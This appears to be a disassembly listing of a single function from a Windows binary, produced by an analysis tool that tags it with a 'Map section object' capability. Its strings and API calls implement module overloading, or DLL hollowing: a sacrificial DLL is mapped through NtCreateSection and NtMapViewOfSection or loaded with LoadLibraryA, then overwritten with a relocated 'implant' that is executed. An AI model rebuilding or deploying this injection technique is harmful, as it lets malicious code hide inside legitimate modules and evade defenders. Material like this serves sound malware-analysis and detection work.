Function at 0x140003a40
Capabilities:
Map section object

Disassembly:
push rbx
push rbp
push rsi
sub rsp, 0x6b0
mov rax, qword [0x14000c008]
xor rax, rsp
mov qword [rsp + 0x6a0], rax
mov rsi, r8
lea rax, [rsp + 0x70]
movzx ebp, dl
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x50]
mov rbx, rcx
lea rdx, [rsp + 0x58]
lea r9, [rsp + 0x60]
call fcn.140003180
test eax, eax
jne 0x140003a92
mov eax, 0xffffffff
jmp 0x140003de5
test rsi, rsi
jne 0x140003afe
xor edx, edx
lea rcx, [rsp + 0x80]
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
mov r8, qword [rsp + 0x60]
lea rcx, [rsp + 0x290]
call fcn.140003760
test eax, eax
jne 0x140003ada
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.failed_to_search_a_sacrificial_dll
call fcn.140002950
jmp 0x140003de3
mov r8d, 0x208
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0x80]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs]
lea rsi, [rsp + 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___target_dll:
mov qword [rsp + 0x6d8], rdi
call fcn.140002950
mov rcx, rax
mov rdx, rsi
call fcn.140002950
mov rcx, rax
lea rdx, [0x140008d00]
call fcn.140002950
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___implant_dll:
call fcn.140002950
mov rcx, rax
mov rdx, rbx
call fcn.140002950
mov rcx, rax
lea rdx, [0x140008d00]
call fcn.140002950
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test bpl, bpl
je 0x140003b89
lea rdx, str.___Loading_the_DLL__using_LoadLibary__classic_DLL_hollowing_..._n
call fcn.140002950
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
jmp 0x140003cd0
lea rdx, str.___Mapping_the_DLL_image..._n
call fcn.140002950
xor edi, edi
xor r9d, r9d
mov qword [rsp + 0x30], rdi
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov rcx, rsi
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140003d9c
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x68]
mov dword [rsp + 0x28], 0x1000000
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0xf001f
mov qword [rsp + 0x68], rdi
call qword [sym.imp.ntdll.dll_NtCreateSection]
test eax, eax
je 0x140003c36
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.NtCreateSection_failed
call fcn.140002950
mov rcx, rax
lea rdx, [0x140002b20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140003ddb
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x78]
mov dword [rsp + 0x48], 2
lea r8, [rsp + 0x60]
mov dword [rsp + 0x40], edi
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
lea rdx, [r9 - 1]
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
mov ebx, eax
test eax, eax
je 0x140003ccb
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str._ERROR__NtMapViewOfSection_failed__status_:
call fcn.140002e00
mov rcx, rax
lea rdx, [0x140001f80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140008d00]
call fcn.140002e00
mov rdi, qword [rsp + 0x60]
test rdi, rdi
je 0x140003ddb
mov rbx, qword [rsp + 0x50]
xor r9d, r9d
mov rdx, qword [rsp + 0x70]
mov rcx, rbx
mov r8, rdi
call fcn.140005550
test al, al
jne 0x140003d0d
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.____Failed_to_relocate_the_implant__n
call fcn.140002950
jmp 0x140003ddb
mov r8, qword [rsp + 0x70]
mov rdx, rbx
mov rcx, rdi
call fcn.140003370
test al, al
je 0x140003d8f
xor edx, edx
mov rcx, rbx
call fcn.140005ef8
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___Module_Overloading_finished..._n
call fcn.140002950
mov rdx, qword [rsp + 0x58]
mov rcx, rdi
call fcn.1400035d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.___Implant_finished__ret:
mov ebx, eax
call fcn.140002950
mov rcx, rax
lea rdx, [0x140001f60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140008d00]
call fcn.140002950
test bpl, bpl
je 0x140003ddb
mov rdx, rsi
mov rcx, rdi
call fcn.1400036b0
jmp 0x140003ddb
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Couldnt_open_the_file_
call fcn.140002950
mov rcx, rax
lea rdx, [0x140001f80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x140002b20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdi, qword [rsp + 0x6d8]
xor eax, eax
mov rcx, qword [rsp + 0x6a0]
xor rcx, rsp
call fcn.140006410
add rsp, 0x6b0
pop rsi
pop rbp
pop rbx
ret